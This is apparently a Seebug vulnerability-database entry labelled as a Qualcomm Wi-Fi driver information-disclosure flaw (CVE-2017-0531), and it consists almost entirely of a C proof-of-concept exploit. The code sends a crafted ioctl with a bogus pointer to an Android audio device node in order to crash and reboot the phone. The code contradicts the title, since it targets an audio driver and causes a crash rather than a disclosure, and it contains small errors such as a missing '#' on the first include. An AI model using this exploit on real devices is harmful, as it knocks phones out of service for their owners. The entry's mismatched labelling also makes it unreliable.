Google Android Qualcomm Wi-Fi Driver Multiple Information Disclosure Vulnerabilities(CVE-2017-0531)

2017-04-04T00:00:00
ID SSV:92876
Type seebug
Reporter Root
Modified 2017-04-04T00:00:00

Description

No description provided by source.

                                        
                                            
                                                include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define SNDRV_LSM_LAB_CONTROL	_IOW('U', 0x08, uint32_t)

int main(void)
{
	int fd;
	int ret;

	fd = open("/dev/snd/pcmC0D30c", O_RDWR);

	if (fd < 0) {
		printf("Couldn't open device, error %s\n", strerror(errno));
		return -1;
	}

	printf("Phone should be rebooting...\n");
	
	ret = ioctl(fd, SNDRV_LSM_LAB_CONTROL, 0x0B01ABADACCE55);

	close(fd);

	printf("Attack failed.\n");

	return -1;
}